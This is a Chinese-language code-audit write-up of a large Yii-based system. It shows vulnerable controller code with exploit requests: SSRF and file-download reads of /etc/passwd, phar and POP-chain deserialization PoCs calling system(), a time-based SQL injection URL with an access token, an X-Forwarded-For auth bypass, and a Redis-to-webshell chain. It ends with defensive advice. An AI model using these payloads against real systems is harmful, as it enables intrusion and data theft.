某知名大型系统代码审计
字数 1678 2025-08-18 17:33:19

Yii框架代码审计与漏洞利用实战

1. 系统概述

审计目标是一个基于Yii框架二次开发的大型系统,包含多个子系统。系统采用Yii 2.0.45版本框架,并进行了自定义修改。

2. 漏洞发现与分析

2.1 前台SSRF漏洞

位置: center/controllers/DemoController.php

漏洞代码:

public function actionProxy(){
    $rs = [];
    if(\Yii::$app->request->isPost){
        $url = \Yii::$app->request->post('url');
        $post_data = \Yii::$app->request->post();
        $rs = $this->post($url,$post_data);
    }elseif (\Yii::$app->request->isGet){
        $url = \Yii::$app->request->get('url');
        $rs = $this->get($url);
    }
    return $rs;
}

利用方式:

  • 直接请求内部服务: /demo/proxy?url=file:///etc/passwd
  • 读取Redis配置: /demo/proxy?url=file:///xxxx/etc/system.conf

危害:

  • 读取任意文件
  • 探测内网服务
  • 结合其他服务实现RCE

2.2 未授权任意文件下载

位置: center/modules/user/controllers/GroupController.php

漏洞代码:

public function actionDownLoad()
{
    if (Yii::$app->request->get('file')) {
        return Yii::$app->response->sendFile(Yii::$app->request->get('file'));
    }
    // ...
}

利用方式:

  • 直接下载文件: /user/group/down-load?file=/etc/passwd
  • 结合phar协议触发反序列化: /user/group/down-load?file=phar://./uploads/monitor/huahua.png

2.3 反序列化漏洞

POP Chain 1

利用链:

  1. setasign\Fpdi\PdfReader\PdfReader
  2. yii\redis\Connection
  3. yii\base\Component
  4. Opis\Closure 反序列化执行任意代码

POC:

<?php 
namespace yii\base {
    class Component {
        private $_events = array();
        private $_behaviors = 1;
        public function __construct() {
            include("./vendor/opis/closure/autoload.php");
            $func = function(){
                $cmd = 'touch /tmp/success';
                system($cmd);
            };
            $raw = \Opis\Closure\serialize($func);
            $data=\Opis\Closure\unserialize($raw);
            $this->_events = ["afterOpen" => [[$data, "huahua"]]];
        }
    }
}
// ... 其他类定义 ...
?>

POP Chain 2

利用链:

  1. setasign\Fpdi\PdfReader\PdfReader
  2. yii\redis\Connection
  3. yii\base\Component
  4. yii\rest\CreateAction 调用system函数

POC:

<?php 
namespace yii\rest {
    class CreateAction {
        public $id;
        public $checkAccess;
        public function __construct() {
            $this->checkAccess = 'system';
            $this->id = "touch /tmp/success";
        }
    }
}
// ... 其他类定义 ...
?>

2.4 前台无条件RCE

位置: center/modules/strategy/controllers/IpController.php

漏洞代码:

public function actionBindIp(){
    $data1 = unserialize(Yii::$app->request->post('data1'));
    // ...
}

利用方式:

  1. 构造恶意序列化数据
  2. POST请求/strategy/ip/bind-ip并附带payload

2.5 API接口SQL注入

位置: rest/versions/api/immu/controllers/QueryController.php

漏洞代码:

$tableName = sprintf('srun_detail%s%s',"_",$time);
$sql = "select SUM(`total_bytes`) as `mysql_bytes` from `$tableName` where `user_name`='$userName'";
$mysqlData = Yii::$app->db->createCommand($sql)->queryOne();

权限绕过:

  1. 访问/api/v8/auth/get-access-token获取token
  2. 请求时添加X-Forwarded-For: 127.0.0.1

利用方式:

GET /api/immu/query?access_token=FPFBWAk5llPf3Phd5drTiez9Uks1749J&user_name=test002&time=mobile_day`+where+user_name='test001'+union+select+1+and(select+sleep(3))%23

3. 漏洞利用实战

3.1 SSRF到RCE利用链

  1. 通过SSRF读取Redis配置
  2. 获取Redis密码和端口
  3. 尝试Redis未授权访问或使用密码连接
  4. 利用Redis写入Webshell

3.2 任意文件下载到反序列化RCE

  1. 寻找文件上传点(/report/system/image-save)
  2. 上传恶意phar文件
  3. 通过任意文件下载触发phar反序列化

上传点代码:

public function actionImageSave()
{
    $post = Yii::$app->request->post();
    $picInfo = $post['baseimg'];
    $savingDir = 'uploads/monitor/';
    $streamFileRand = $savingDir.$post['sql_type'].$post['proc'].'.png';
    preg_match('/(?<=base64,)[\S|\s]+/',$picInfo,$picInfoW);
    file_put_contents($streamFileRand,base64_decode($picInfoW[0]));
    return true;
}

4. 防御建议

  1. SSRF防御:

    • 禁用危险协议(file://, gopher://等)
    • 对URL进行白名单校验
    • 禁用curl的跟随重定向
  2. 文件操作防御:

    • 对文件路径进行严格校验
    • 禁用危险协议(phar://等)
    • 设置文件下载权限检查
  3. 反序列化防御:

    • 避免直接反序列化用户输入
    • 使用白名单校验反序列化类
    • 更新依赖库修复已知漏洞
  4. SQL注入防御:

    • 使用预处理语句
    • 对表名、字段名进行白名单校验
    • 使用框架提供的安全查询方法
  5. 权限验证强化:

    • 统一权限验证机制
    • 避免IP伪造(X-Forwarded-For信任问题)
    • Token与IP绑定校验

5. 总结

本次审计发现了Yii框架二次开发系统中的多个高危漏洞,包括SSRF、任意文件下载、反序列化RCE和SQL注入等。这些漏洞的组合利用可以导致系统完全沦陷。开发过程中应特别注意用户输入的过滤和验证,避免直接使用危险函数,并保持框架和依赖库的及时更新。

Yii框架代码审计与漏洞利用实战 1. 系统概述 审计目标是一个基于Yii框架二次开发的大型系统,包含多个子系统。系统采用Yii 2.0.45版本框架,并进行了自定义修改。 2. 漏洞发现与分析 2.1 前台SSRF漏洞 位置 : center/controllers/DemoController.php 漏洞代码 : 利用方式 : 直接请求内部服务: /demo/proxy?url=file:///etc/passwd 读取Redis配置: /demo/proxy?url=file:///xxxx/etc/system.conf 危害 : 读取任意文件 探测内网服务 结合其他服务实现RCE 2.2 未授权任意文件下载 位置 : center/modules/user/controllers/GroupController.php 漏洞代码 : 利用方式 : 直接下载文件: /user/group/down-load?file=/etc/passwd 结合phar协议触发反序列化: /user/group/down-load?file=phar://./uploads/monitor/huahua.png 2.3 反序列化漏洞 POP Chain 1 利用链 : setasign\Fpdi\PdfReader\PdfReader yii\redis\Connection yii\base\Component Opis\Closure 反序列化执行任意代码 POC : POP Chain 2 利用链 : setasign\Fpdi\PdfReader\PdfReader yii\redis\Connection yii\base\Component yii\rest\CreateAction 调用system函数 POC : 2.4 前台无条件RCE 位置 : center/modules/strategy/controllers/IpController.php 漏洞代码 : 利用方式 : 构造恶意序列化数据 POST请求 /strategy/ip/bind-ip 并附带payload 2.5 API接口SQL注入 位置 : rest/versions/api/immu/controllers/QueryController.php 漏洞代码 : 权限绕过 : 访问 /api/v8/auth/get-access-token 获取token 请求时添加 X-Forwarded-For: 127.0.0.1 利用方式 : 3. 漏洞利用实战 3.1 SSRF到RCE利用链 通过SSRF读取Redis配置 获取Redis密码和端口 尝试Redis未授权访问或使用密码连接 利用Redis写入Webshell 3.2 任意文件下载到反序列化RCE 寻找文件上传点( /report/system/image-save ) 上传恶意phar文件 通过任意文件下载触发phar反序列化 上传点代码 : 4. 防御建议 SSRF防御 : 禁用危险协议(file://, gopher://等) 对URL进行白名单校验 禁用curl的跟随重定向 文件操作防御 : 对文件路径进行严格校验 禁用危险协议(phar://等) 设置文件下载权限检查 反序列化防御 : 避免直接反序列化用户输入 使用白名单校验反序列化类 更新依赖库修复已知漏洞 SQL注入防御 : 使用预处理语句 对表名、字段名进行白名单校验 使用框架提供的安全查询方法 权限验证强化 : 统一权限验证机制 避免IP伪造(X-Forwarded-For信任问题) Token与IP绑定校验 5. 总结 本次审计发现了Yii框架二次开发系统中的多个高危漏洞,包括SSRF、任意文件下载、反序列化RCE和SQL注入等。这些漏洞的组合利用可以导致系统完全沦陷。开发过程中应特别注意用户输入的过滤和验证,避免直接使用危险函数,并保持框架和依赖库的及时更新。